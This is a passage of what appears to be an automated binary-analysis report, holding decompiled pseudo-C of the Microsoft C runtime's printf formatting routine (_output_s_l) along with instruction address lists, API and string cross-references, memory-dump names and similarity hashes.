																				 *((char*)(__ebp - 0x13)) = __al;
																				 *(__ebp - 0x1c) = 2;
																			}
																			goto L153;
																		case 0xe:
																			while(1) {
																				L190:
																				__eflags =  *(_t701 - 0x28);
																				if( *(_t701 - 0x28) != 0) {
																					goto L216;
																				}
																				goto L191;
																			}
																	}
																case 8:
																	L30:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000002;
																	goto L33;
																case 9:
																	L31:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000080;
																	goto L33;
																case 0xa:
																	L29:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000001;
																	 *(__ebp - 0x10) = __ecx;
																	goto L33;
																case 0xb:
																	L28:
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	 *(__ebp - 0x10) =  *(__ebp - 0x10) | 0x00000004;
																	goto L33;
																case 0xc:
																	L32:
																	__ecx =  *(__ebp - 0x10);
																	__ecx =  *(__ebp - 0x10) | 0x00000008;
																	__eflags = __ecx;
																	 *(__ebp - 0x10) = __ecx;
																	goto L33;
																case 0xd:
																	L33:
																	goto L218;
															}
														} else {
															__eflags = 0;
															if(0 == 0) {
																 *(_t701 - 0x314) = 0;
															} else {
																 *(_t701 - 0x314) = 1;
															}
															_t618 =  *(_t701 - 0x314);
															 *(_t701 - 0x278) =  *(_t701 - 0x314);
															__eflags =  *(_t701 - 0x278);
															if( *(_t701 - 0x278) == 0) {
																_push(L"(\"Incorrect format specifier\", 0)");
																_push(0);
																_push(0x460);
																_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
																_push(2);
																_t545 = L0041AAF0();
																_t704 = _t704 + 0x14;
																__eflags = _t545 - 1;
																if(_t545 == 1) {
																	asm("int3");
																}
															}
															L14:
															__eflags =  *(_t701 - 0x278);
															if( *(_t701 - 0x278) != 0) {
																goto L16;
															} else {
																 *((intOrPtr*)(L0041A7C0(_t618))) = 0x16;
																E00419D60(_t618, L"(\"Incorrect format specifier\", 0)", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x460, 0);
																 *(_t701 - 0x2f0) = 0xffffffff;
																E0041B2A0(_t701 - 0x40);
																_t518 =  *(_t701 - 0x2f0);
																L229:
																__eflags =  *(_t701 - 0x48) ^ _t701;
																return E00422570(_t518, _t589,  *(_t701 - 0x48) ^ _t701, _t665, _t699, _t700);
															}
														}
													}
													L4:
													__eflags =  *(_t701 - 0x251) - 0x78;
													if( *(_t701 - 0x251) > 0x78) {
														goto L6;
													} else {
														 *(_t701 - 0x310) =  *( *(_t701 - 0x251) +  &M004077B8) & 0xf;
														goto L7;
													}
												}
												L219:
												__eflags =  *(_t701 - 0x25c);
												if( *(_t701 - 0x25c) == 0) {
													L222:
													 *(_t701 - 0x334) = 1;
													L223:
													_t605 =  *(_t701 - 0x334);
													 *(_t701 - 0x2e0) =  *(_t701 - 0x334);
													__eflags =  *(_t701 - 0x2e0);
													if( *(_t701 - 0x2e0) == 0) {
														_push(L"((state == ST_NORMAL) || (state == ST_TYPE))");
														_push(0);
														_push(0x8f5);
														_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c");
														_push(2);
														_t523 = L0041AAF0();
														_t704 = _t704 + 0x14;
														__eflags = _t523 - 1;
														if(_t523 == 1) {
															asm("int3");
														}
													}
													__eflags =  *(_t701 - 0x2e0);
													if( *(_t701 - 0x2e0) != 0) {
														 *(_t701 - 0x300) =  *(_t701 - 0x24c);
														E0041B2A0(_t701 - 0x40);
														_t518 =  *(_t701 - 0x300);
													} else {
														 *((intOrPtr*)(L0041A7C0(_t605))) = 0x16;
														E00419D60(_t605, L"((state == ST_NORMAL) || (state == ST_TYPE))", L"_output_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\output.c", 0x8f5, 0);
														 *(_t701 - 0x2fc) = 0xffffffff;
														E0041B2A0(_t701 - 0x40);
														_t518 =  *(_t701 - 0x2fc);
													}
													goto L229;
												}
												L220:
												__eflags =  *(_t701 - 0x25c) - 7;
												if( *(_t701 - 0x25c) == 7) {
													goto L222;
												}
												L221:
												 *(_t701 - 0x334) = 0;
												goto L223;
											}
										}
										L187:
										__eflags =  *(_t701 - 0x24);
										if( *(_t701 - 0x24) == 0) {
											L189:
											 *((intOrPtr*)(_t701 - 4)) =  *((intOrPtr*)(_t701 - 4)) - 1;
											 *((char*)( *((intOrPtr*)(_t701 - 4)))) = 0x30;
											_t639 =  *(_t701 - 0x24) + 1;
											__eflags = _t639;
											 *(_t701 - 0x24) = _t639;
											goto L190;
										}
										L188:
										__eflags =  *((char*)( *((intOrPtr*)(_t701 - 4)))) - 0x30;
										if( *((char*)( *((intOrPtr*)(_t701 - 4)))) == 0x30) {
											goto L190;
										}
										goto L189;
									}
								}
							}
						}
					}
				}
			}

0x00430623
0x00430623
0x00430623
0x00430623
0x00430623
0x00430623
0x00430623
0x00430629
0x0043062c
0x00000000
0x004306a4
0x00000000
0x004306a4
0x00000000
0x004306a4
0x004306a4
0x004306ac
0x004306ce
0x004306ce
0x004306d4
0x004306f6
0x004306f9
0x00430740
0x00430740
0x00430743
0x00430764
0x00430769
0x0043076c
0x0043076e
0x00430774
0x00430745
0x00430749
0x0043074e
0x00430751
0x00430752
0x00430758
0x00430758
0x004306fb
0x004306fe
0x004306fe
0x00430701
0x00430723
0x00430728
0x0043072e
0x0043072f
0x00430735
0x00430703
0x00430707
0x0043070c
0x00430710
0x00430711
0x00430717
0x00430717
0x0043073b
0x004306d6
0x004306da
0x004306df
0x004306e2
0x004306e8
0x004306e8
0x004306ae
0x004306b2
0x004306b7
0x004306ba
0x004306c0
0x004306c0
0x00430780
0x004307c2
0x004307c8
0x004307d4
0x00000000
0x00430782
0x00430782
0x00430782
0x00430789
0x00000000
0x00430796
0x00430796
0x004307a4
0x004307a9
0x004307af
0x004307bd
0x004307da
0x004307e2
0x00430804
0x00430804
0x0043080e
0x0043081f
0x00430822
0x00430829
0x0043082b
0x0043082b
0x00430810
0x00430810
0x00430810
0x0043083e
0x00430840
0x00430840
0x0043084a
0x0043084d
0x0043084d
0x00430853
0x00430856
0x0043085b
0x00000000
0x00000000
0x0043086b
0x0043086e
0x00430878
0x00430887
0x00430890
0x004308a6
0x004308ac
0x004308b9
0x004308c7
0x004308c7
0x004308d6
0x004308de
0x004308de
0x004308e6
0x004308ec
0x004308f5
0x004308fb
0x00430901
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00430936
0x00430939
0x0043093c
0x00430941
0x00430946
0x00430958
0x0043095b
0x0043096d
0x00430970
0x00430972
0x00430976
0x00430976
0x0043095d
0x0043095d
0x00430961
0x00430961
0x00430948
0x00430948
0x0043094c
0x0043094c
0x00430946
0x00430986
0x0043098f
0x00430992
0x004309a8
0x004309ad
0x004309ad
0x004309c3
0x004309c8
0x004309ce
0x004309d1
0x004309d6
0x004309d9
0x004309ef
0x004309f4
0x004309f4
0x004309d9
0x004309f7
0x004309fb
0x00430acf
0x00430ae2
0x00430ae7
0x00000000
0x00430a01
0x00430a01
0x00430a01
0x00430a05
0x00000000
0x00000000
0x00430a0b
0x00430a0b
0x00430a18
0x00430a21
0x00430a27
0x00430a27
0x00430a36
0x00430a3c
0x00430a3e
0x00000000
0x00000000
0x00430a44
0x00430a4d
0x00430a6c
0x00430a71
0x00430a74
0x00430a83
0x00430a89
0x00430a90
0x00430a9b
0x00430a9b
0x00000000
0x00430a9b
0x00430a92
0x00430a92
0x00430a99
0x00430aa7
0x00430ac0
0x00430ac5
0x00000000
0x00430ac5
0x00000000
0x00430a99
0x00430acd
0x00430aea
0x00430aea
0x00430af1
0x00430af6
0x00430af9
0x00430b0f
0x00430b14
0x00430b14
0x00430af9
0x00430af1
0x00430b17
0x00430b17
0x00430b1b
0x00430b23
0x00430b28
0x00430b2b
0x00430b2b
0x00430b32
0x00430b32
0x0042fc0f
0x0042fc15
0x0042fc22
0x0042fc25
0x0042fc27
0x00000000
0x00000000
0x0042fc2d
0x0042fc2d
0x0042fc34
0x00000000
0x00000000
0x0042fc3a
0x0042fc41
0x0042fc44
0x0042fc6b
0x0042fc6b
0x0042fc75
0x0042fc7b
0x0042fc87
0x0042fc8a
0x0042fc98
0x0042fc9b
0x0042fca1
0x0042fca8
0x0042fd4d
0x0042fd53
0x0042fd59
0x0042fd60
0x00000000
0x00000000
0x0042fd66
0x0042fd6c
0x00000000
0x0042fd73
0x0042fd73
0x0042fd8b
0x0042fd90
0x0042fd93
0x0042fd95
0x0042fe4f
0x0042fe62
0x0042fe67
0x00000000
0x0042fd9b
0x0042fdae
0x0042fdb3
0x0042fdb9
0x0042fdbb
0x0042fdc4
0x0042fdc4
0x0042fdc7
0x0042fdd3
0x0042fdd7
0x0042fddd
0x0042fddf
0x0042fde4
0x0042fde6
0x0042fdeb
0x0042fdf0
0x0042fdf2
0x0042fdf7
0x0042fdfa
0x0042fdfd
0x0042fdff
0x0042fdff
0x0042fdfd
0x0042fe00
0x0042fe00
0x0042fe07
0x00000000
0x0042fe09
0x0042fe0e
0x0042fe2a
0x0042fe32
0x0042fe3f
0x0042fe44
0x00000000
0x0042fe44
0x0042fe07
0x00000000
0x0042fe6f
0x0042fe6f
0x0042fe76
0x0042fe79
0x0042fe7c
0x0042fe7f
0x0042fe82
0x0042fe85
0x0042fe88
0x0042fe8f
0x0042fe96
0x00000000
0x00000000
0x0042fea2
0x0042fea2
0x0042fea9
0x0042feb5
0x0042feb8
0x0042febe
0x0042fec5
0x00000000
0x00000000
0x0042fec7
0x0042fec7
0x0042fecd
0x0042fecd
0x0042fed4
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x0042ff17
0x0042ff17
0x0042ff1e
0x0042ff21
0x0042ff4b
0x0042ff4e
0x0042ff4e
0x0042ff51
0x0042ff58
0x0042ff58
0x0042ff5c
0x0042ff23
0x0042ff23
0x0042ff2f
0x0042ff32
0x0042ff36
0x0042ff38
0x0042ff3b
0x0042ff3b
0x0042ff3e
0x0042ff44
0x0042ff46
0x0042ff46
0x0042ff49
0x00000000
0x00000000
0x0042ff64
0x0042ff64
0x00000000
0x00000000
0x0042ff70
0x0042ff70
0x0042ff77
0x0042ff7a
0x0042ff9a
0x0042ff9d
0x0042ff9d
0x0042ffa7
0x0042ffa7
0x0042ffab
0x0042ff7c
0x0042ff7c
0x0042ff88
0x0042ff8b
0x0042ff8f
0x0042ff91
0x0042ff91
0x0042ff98
0x00000000
0x00000000
0x0042ffb3
0x0042ffb3
0x0042ffba
0x0042ffc6
0x0042ffc9
0x0042ffcf
0x0042ffd6
0x004300e9
0x00000000
0x004300e9
0x0042ffdc
0x0042ffdc
0x0042ffe2
0x0042ffe2
0x0042ffe9
0x00000000
0x0043001f
0x0043001f
0x00430022
0x00430025
0x00430028
0x00430050
0x00430050
0x00430053
0x00430056
0x00430059
0x0043007e
0x0043007e
0x00430081
0x00430084
0x00430087
0x004300c0
0x004300d1
0x00000000
0x004300d1
0x00430089
0x00430089
0x0043008c
0x0043008f
0x00430092
0x00000000
0x00000000
0x00430094
0x00430094
0x00430097
0x0043009a
0x0043009d
0x00000000
0x00000000
0x0043009f
0x0043009f
0x004300a2
0x004300a5
0x004300a8
0x00000000
0x00000000
0x004300aa
0x004300aa
0x004300ad
0x004300b0
0x004300b3
0x00000000
0x00000000
0x004300b5
0x004300b5
0x004300b8
0x004300bb
0x004300be
0x004300c2
0x00000000
0x004300c2
0x00000000
0x004300be
0x0043005b
0x0043005b
0x0043005e
0x00430062
0x00430065
0x00000000
0x00430067
0x0043006a
0x0043006d
0x00430070
0x00430073
0x00430079
0x00000000
0x00430079
0x00430065
0x0043002a
0x0043002a
0x0043002d
0x00430031
0x00430034
0x00000000
0x00430036
0x00430039
0x0043003c
0x0043003f
0x00430042
0x00430048
0x00000000
0x00430048
0x00000000
0x004300d3
0x004300d6
0x004300d9
0x00000000
0x00000000
0x0042fff0
0x0042fff0
0x0042fff3
0x0042fff6
0x0042fff9
0x00430011
0x00430014
0x00430014
0x00430017
0x0042fffb
0x0042fffe
0x00430001
0x00430007
0x0043000c
0x0043000c
0x00000000
0x00000000
0x004300de
0x004300de
0x004300e1
0x004300e1
0x004300e6
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004300ee
0x004300ee
0x004300f5
0x004300fb
0x00430101
0x00430104
0x0043010a
0x00430111
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x0043092c
0x00430117
0x0043011d
0x0043011d
0x00430124
0x00000000
0x0043047e
0x0043047e
0x00430485
0x0043048c
0x0043048c
0x0043048f
0x00000000
0x00000000
0x0043012b
0x0043012e
0x0043012e
0x00430134
0x00430136
0x00430139
0x00430139
0x0043013e
0x0043013e
0x00000000
0x00000000
0x0043026b
0x0043026e
0x0043026e
0x00430273
0x00430275
0x00430278
0x00430278
0x0043027e
0x0043027e
0x00000000
0x00000000
0x00430645
0x00430645
0x00000000
0x00000000
0x004301d5
0x004301d5
0x004301e1
0x004301e7
0x004301ee
0x004301fc
0x004301fc
0x00430202
0x00430205
0x00430211
0x00430266
0x00000000
0x00430266
0x004301f0
0x004301f0
0x004301f6
0x004301fa
0x00430219
0x00430219
0x0043021f
0x00430247
0x0043024e
0x00430254
0x00430257
0x0043025a
0x00430260
0x00430263
0x00430221
0x00430221
0x00430227
0x0043022a
0x0043022d
0x00430233
0x00430236
0x00430239
0x0043023b
0x0043023e
0x0043023e
0x00000000
0x0043021f
0x00000000
0x00000000
0x00430495
0x00430498
0x0043049b
0x0043049e
0x004304a4
0x004304a7
0x004304ae
0x004304b2
0x004304bd
0x004304bd
0x004304c1
0x004304d8
0x004304d8
0x004304df
0x004304e1
0x004304e1
0x004304e8
0x004304e8
0x004304ef
0x00430500
0x0043050f
0x00430512
0x00430516
0x0043052c
0x00430518
0x00430518
0x0043051b
0x00430521
0x00430527
0x00430527
0x00430516
0x00430536
0x00430539
0x0043053c
0x0043053f
0x00430542
0x00430545
0x0043054b
0x00430551
0x00430559
0x0043055a
0x0043055d
0x0043055e
0x00430561
0x00430562
0x00430569
0x0043056a
0x0043056d
0x0043056e
0x00430571
0x00430572
0x00430578
0x00430579
0x0043057e
0x0043057f
0x00430585
0x00430587
0x0043058d
0x0043058d
0x00430593
0x00430595
0x00430599
0x0043059b
0x004305a3
0x004305a4
0x004305a7
0x004305a8
0x004305ad
0x004305ae
0x004305b4
0x004305b6
0x004305b6
0x00430599
0x004305b9
0x004305c0
0x004305c3
0x004305c8
0x004305c8
0x004305ce
0x004305d0
0x004305d8
0x004305d9
0x004305dc
0x004305dd
0x004305e3
0x004305e4
0x004305ea
0x004305ec
0x004305ec
0x004305ce
0x004305ef
0x004305f2
0x004305f5
0x004305f8
0x004305fd
0x00430603
0x00430606
0x00430609
0x00430609
0x0043060c
0x0043060c
0x0043060f
0x0043061b
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x00000000
0x0043092c
0x004304c3
0x004304c3
0x004304ca
0x004304cd
0x00000000
0x00000000
0x004304cf
0x004304cf
0x00000000
0x004304cf
0x004304b4
0x004304b4
0x00000000
0x00000000
0x00430141
0x00430144
0x00430144
0x0043014a
0x004301a5
0x004301ad
0x004301b4
0x004301ba
0x004301c0
0x0043014c
0x0043014c
0x00430156
0x0043015a
0x00430162
0x00430169
0x00430176
0x0043017d
0x00430189
0x0043018f
0x00430196
0x00430198
0x00430198
0x0043019f
0x004301c7
0x004301cd
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x00000000
0x00000000
0x00000000
0x00430387
0x00430387
0x00430393
0x00430399
0x0043039e
0x004303a0
0x0043044a
0x0043044d
0x0043044d
0x00430450
0x00430464
0x0043046a
0x00430470
0x00430452
0x00430452
0x0043045f
0x0043045f
0x00430472
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x0043092c
0x004303a6
0x004303a6
0x004303a6
0x004303a8
0x004303b6
0x004303aa
0x004303aa
0x004303aa
0x004303c0
0x004303c6
0x004303cc
0x004303d3
0x004303d5
0x004303da
0x004303dc
0x004303e1
0x004303e6
0x004303e8
0x004303ed
0x004303f0
0x004303f3
0x004303f5
0x004303f5
0x004303f3
0x004303f6
0x004303fd
0x00430445
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x004303ff
0x004303ff
0x00430404
0x00430420
0x00430428
0x00430432
0x00430435
0x0043043a
0x00000000
0x0043043a
0x00000000
0x00430686
0x00430686
0x00430690
0x00430690
0x00430696
0x00430698
0x0043069b
0x0043069b
0x004306a1
0x004306a1
0x00000000
0x00000000
0x0043063e
0x0043063e
0x00000000
0x00000000
0x00430281
0x00430281
0x00430285
0x00430293
0x00430296
0x00430287
0x00430287
0x00430287
0x0043029c
0x004302a2
0x004302a8
0x004302b4
0x004302ba
0x004302ba
0x004302c0
0x00430327
0x00430327
0x0043032b
0x0043032d
0x00430333
0x00430333
0x00430336
0x00430339
0x0043033f
0x0043033f
0x0043033f
0x0043034b
0x0043034e
0x00430354
0x00430356
0x00000000
0x00000000
0x00430358
0x00430358
0x0043035e
0x00430361
0x00430363
0x00000000
0x00000000
0x00430365
0x0043036b
0x0043036e
0x0043036e
0x00430376
0x00430376
0x0043037c
0x0043037c
0x0043037f
0x00000000
0x004302c2
0x004302c2
0x004302c2
0x004302c6
0x004302c8
0x004302cd
0x004302cd
0x004302d0
0x004302d7
0x004302da
0x004302e0
0x004302e0
0x004302e0
0x004302ec
0x004302ef
0x004302f5
0x004302f7
0x00000000
0x00000000
0x004302f9
0x004302f9
0x004302ff
0x00430302
0x00430304
0x00000000
0x00000000
0x00430306
0x0043030c
0x0043030f
0x0043030f
0x00430317
0x0043031d
0x00430320
0x00430322
0x00430382
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x0043092c
0x00000000
0x00430635
0x00430635
0x00000000
0x00000000
0x00430651
0x00430651
0x0043065b
0x0043065b
0x00430665
0x00430665
0x0043066b
0x0043066d
0x00430677
0x00430677
0x0043067a
0x0043067d
0x0043067d
0x00000000
0x00000000
0x0043092c
0x0043092c
0x0043092c
0x00430930
0x00000000
0x00000000
0x00000000
0x00430930
0x00000000
0x00000000
0x0042fef1
0x0042fef4
0x0042fef7
0x00000000
0x00000000
0x0042fefc
0x0042feff
0x0042ff04
0x00000000
0x00000000
0x0042fee6
0x0042fee6
0x0042fee9
0x0042feec
0x00000000
0x00000000
0x0042fedb
0x0042fede
0x0042fee1
0x00000000
0x00000000
0x0042ff09
0x0042ff09
0x0042ff0c
0x0042ff0c
0x0042ff0f
0x00000000
0x00000000
0x0042ff12
0x00000000
0x00000000
0x0042fcae
0x0042fcae
0x0042fcb0
0x0042fcbe
0x0042fcb2
0x0042fcb2
0x0042fcb2
0x0042fcc8
0x0042fcce
0x0042fcd4
0x0042fcdb
0x0042fcdd
0x0042fce2
0x0042fce4
0x0042fce9
0x0042fcee
0x0042fcf0
0x0042fcf5
0x0042fcf8
0x0042fcfb
0x0042fcfd
0x0042fcfd
0x0042fcfb
0x0042fcfe
0x0042fcfe
0x0042fd05
0x00000000
0x0042fd07
0x0042fd0c
0x0042fd28
0x0042fd30
0x0042fd3d
0x0042fd42
0x00430bfb
0x00430bfe
0x00430c08
0x00430c08
0x0042fd05
0x0042fca8
0x0042fc46
0x0042fc4d
0x0042fc50
0x00000000
0x0042fc52
0x0042fc63
0x00000000
0x0042fc63
0x0042fc50
0x00430b37
0x00430b37
0x00430b3e
0x00430b55
0x00430b55
0x00430b5f
0x00430b5f
0x00430b65
0x00430b6b
0x00430b72
0x00430b74
0x00430b79
0x00430b7b
0x00430b80
0x00430b85
0x00430b87
0x00430b8c
0x00430b8f
0x00430b92
0x00430b94
0x00430b94
0x00430b92
0x00430b95
0x00430b9c
0x00430be7
0x00430bf0
0x00430bf5
0x00430b9e
0x00430ba3
0x00430bbf
0x00430bc7
0x00430bd4
0x00430bd9
0x00430bd9
0x00000000
0x00430b9c
0x00430b40
0x00430b40
0x00430b47
0x00000000
0x00000000
0x00430b49
0x00430b49
0x00000000
0x00430b49
0x0043092c
0x00430903
0x00430903
0x00430907
0x00430914
0x0043091a
0x00430920
0x00430926
0x00430926
0x00430929
0x00000000
0x00430929
0x00430909
0x0043090f
0x00430912
0x00000000
0x00000000
0x00000000
0x00430912
0x00430789
0x00430780
0x004306a4
0x004306a4
0x004306a4

APIs

_get_int64_arg.LIBCMTD ref: 004306B2
_get_int64_arg.LIBCMTD ref: 004306DA
__aullrem.LIBCMT ref: 0043087F
__aulldiv.LIBCMT ref: 004308A1
_write_multi_char.LIBCMTD ref: 004309A8
_write_string.LIBCMTD ref: 004309C3
_write_multi_char.LIBCMTD ref: 004309EF
_wctomb_s.LIBCMTD ref: 00430A6C

Strings

_output_s_l, xrefs: 0042FD1E
("Incorrect format specifier", 0), xrefs: 0042FCDD, 0042FD23
9, xrefs: 004308B2
-, xrefs: 00430948
f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 0042FCE9, 0042FD19

Memory Dump Source

Source File: 00000000.00000002.683771159.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.683744708.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.683860561.000000000043E000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683876679.000000000044B000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.683890164.00000000004CB000.00000002.00020000.sdmp Download File

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: ("Incorrect format specifier", 0)$-$9$_output_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 3451365851-3266125857
Opcode ID: f5ff3c3d6dfe2dd3008a09d46f085fdcf24a54707087e7a38cf236a0eb80880a
Instruction ID: fab15f98b0621d4b2eb4cda2626fb542eb3a9635089da42c7f23e52514e5a754
Opcode Fuzzy Hash: f5ff3c3d6dfe2dd3008a09d46f085fdcf24a54707087e7a38cf236a0eb80880a
Instruction Fuzzy Hash: 96F14BB1D01229DFDB24DF59CC99BAEB7B0BB48304F1482DAD409A7241D7386E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 004319C5, Relevance: 33.6, APIs: 15, Strings: 4, Instructions: 365
COMMON

Download Yara Rule

C-Code - Quality: 61%

			E004319C5(void* __ebx, signed int __edx, void* __edi, void* __esi) {
				signed int _t485;
				signed int _t504;
				void* _t509;
				signed int _t511;
				void* _t519;
				void* _t537;
				signed int _t541;
				signed int _t558;
				signed short _t559;
				signed int _t562;
				signed int _t565;
				signed int _t566;
				void* _t567;
				signed int _t613;
				signed int _t621;
				signed int _t623;
				signed int _t625;
				signed int _t632;
				signed int _t644;
				signed int _t671;
				void* _t672;
				void* _t673;
				signed int _t674;
				void* _t676;
				void* _t677;
				signed int _t683;

				L0:
				while(1) {
					L0:
					_t673 = __esi;
					_t672 = __edi;
					_t621 = __edx;
					_t567 = __ebx;
					 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000040;
					 *(_t674 - 8) = 0xa;
					L150:
					while(1) {
						L150:
						while(1) {
							L150:
							while(1) {
								L150:
								if(( *(_t674 - 0x10) & 0x00008000) == 0) {
									_t623 =  *(_t674 - 0x10) & 0x00001000;
									__eflags = _t623;
									if(_t623 == 0) {
										__eflags =  *(_t674 - 0x10) & 0x00000020;
										if(( *(_t674 - 0x10) & 0x00000020) == 0) {
											_t625 =  *(_t674 - 0x10) & 0x00000040;
											__eflags = _t625;
											if(_t625 == 0) {
												_t485 = E0042BCB0(_t674 + 0x14);
												_t677 = _t676 + 4;
												__eflags = 0;
												 *(_t674 - 0x4a0) = _t485;
												 *(_t674 - 0x49c) = 0;
											} else {
												_t558 = E0042BCB0(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t558;
												 *(_t674 - 0x49c) = _t625;
											}
										} else {
											_t671 =  *(_t674 - 0x10) & 0x00000040;
											__eflags = _t671;
											if(_t671 == 0) {
												_t559 = E0042BCB0(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t559 & 0x0000ffff;
												 *(_t674 - 0x49c) = _t671;
											} else {
												_t562 = E0042BCB0(_t674 + 0x14);
												_t677 = _t676 + 4;
												asm("cdq");
												 *(_t674 - 0x4a0) = _t562;
												 *(_t674 - 0x49c) = _t671;
											}
										}
									} else {
										_t565 = E0042BCD0(_t674 + 0x14);
										_t677 = _t676 + 4;
										 *(_t674 - 0x4a0) = _t565;
										 *(_t674 - 0x49c) = _t623;
									}
								} else {
									_t566 = E0042BCD0(_t674 + 0x14);
									_t677 = _t676 + 4;
									 *(_t674 - 0x4a0) = _t566;
									 *(_t674 - 0x49c) = _t621;
								}
								if(( *(_t674 - 0x10) & 0x00000040) == 0) {
									L167:
									 *(_t674 - 0x4a8) =  *(_t674 - 0x4a0);
									 *(_t674 - 0x4a4) =  *(_t674 - 0x49c);
									goto L168;
								} else {
									L163:
									_t683 =  *(_t674 - 0x49c);
									if(_t683 > 0 || _t683 >= 0 &&  *(_t674 - 0x4a0) >= 0) {
										goto L167;
									} else {
										L166:
										asm("adc edx, 0x0");
										 *(_t674 - 0x4a8) =  ~( *(_t674 - 0x4a0));
										 *(_t674 - 0x4a4) =  ~( *(_t674 - 0x49c));
										 *(_t674 - 0x10) =  *(_t674 - 0x10) | 0x00000100;
										L168:
										if(( *(_t674 - 0x10) & 0x00008000) == 0 && ( *(_t674 - 0x10) & 0x00001000) == 0) {
											 *(_t674 - 0x4a4) =  *(_t674 - 0x4a4) & 0x00000000;
										}
										if( *(_t674 - 0x30) >= 0) {
											 *(_t674 - 0x10) =  *(_t674 - 0x10) & 0xfffffff7;
											__eflags =  *(_t674 - 0x30) - 0x200;
											if( *(_t674 - 0x30) > 0x200) {
												 *(_t674 - 0x30) = 0x200;
											}
										} else {
											 *(_t674 - 0x30) = 1;
										}
										if(( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
											 *(_t674 - 0x1c) = 0;
										}
										 *((intOrPtr*)(_t674 - 4)) = _t674 - 0x249;
										while(1) {
											L178:
											_t631 =  *(_t674 - 0x30) - 1;
											 *(_t674 - 0x30) =  *(_t674 - 0x30) - 1;
											if( *(_t674 - 0x30) <= 0 && ( *(_t674 - 0x4a8) |  *(_t674 - 0x4a4)) == 0) {
												break;
											}
											L180:
											asm("cdq");
											_t632 =  *(_t674 - 0x4a8);
											 *((intOrPtr*)(_t674 - 0x494)) = E00427060(_t632,  *(_t674 - 0x4a4),  *(_t674 - 8), _t631) + 0x30;
											asm("cdq");
											 *(_t674 - 0x4a8) = E004270E0( *(_t674 - 0x4a8),  *(_t674 - 0x4a4),  *(_t674 - 8), _t632);
											 *(_t674 - 0x4a4) = _t632;
											if( *((intOrPtr*)(_t674 - 0x494)) > 0x39) {
												 *((intOrPtr*)(_t674 - 0x494)) =  *((intOrPtr*)(_t674 - 0x494)) +  *((intOrPtr*)(_t674 - 0x460));
											}
											 *((char*)( *((intOrPtr*)(_t674 - 4)))) =  *((intOrPtr*)(_t674 - 0x494));
											 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) - 1;
										}
										L183:
										 *(_t674 - 0x24) = _t674 - 0x249 -  *((intOrPtr*)(_t674 - 4));
										 *((intOrPtr*)(_t674 - 4)) =  *((intOrPtr*)(_t674 - 4)) + 1;
										__eflags =  *(_t674 - 0x10) & 0x00000200;
										if(( *(_t674 - 0x10) & 0x00000200) == 0) {
											while(1) {
												L187:
												__eflags =  *(_t674 - 0x28);
												if( *(_t674 - 0x28) != 0) {
													goto L212;
												}
												L188:
												__eflags =  *(_t674 - 0x10) & 0x00000040;
												if(( *(_t674 - 0x10) & 0x00000040) != 0) {
													__eflags =  *(_t674 - 0x10) & 0x00000100;
													if(( *(_t674 - 0x10) & 0x00000100) == 0) {
														__eflags =  *(_t674 - 0x10) & 0x00000001;
														if(( *(_t674 - 0x10) & 0x00000001) == 0) {
															__eflags =  *(_t674 - 0x10) & 0x00000002;
															if(( *(_t674 - 0x10) & 0x00000002) != 0) {
																 *((short*)(_t674 - 0x14)) = 0x20;
																 *(_t674 - 0x1c) = 1;
															}
														} else {
															 *((short*)(_t674 - 0x14)) = 0x2b;
															 *(_t674 - 0x1c) = 1;
														}
													} else {
														 *((short*)(_t674 - 0x14)) = 0x2d;
														 *(_t674 - 0x1c) = 1;
													}
												}
												 *((intOrPtr*)(_t674 - 0x4ac)) =  *((intOrPtr*)(_t674 - 0x18)) -  *(_t674 - 0x24) -  *(_t674 - 0x1c);
												__eflags =  *(_t674 - 0x10) & 0x0000000c;
												if(__eflags == 0) {
													E00432110(0x20,  *((intOrPtr*)(_t674 - 0x4ac)),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
													_t677 = _t677 + 0x10;
												}
												E00432150( *(_t674 - 0x1c), __eflags, _t674 - 0x14,  *(_t674 - 0x1c),  *((intOrPtr*)(_t674 + 8)), _t674 - 0x44c);
												_t677 = _t677 + 0x10;
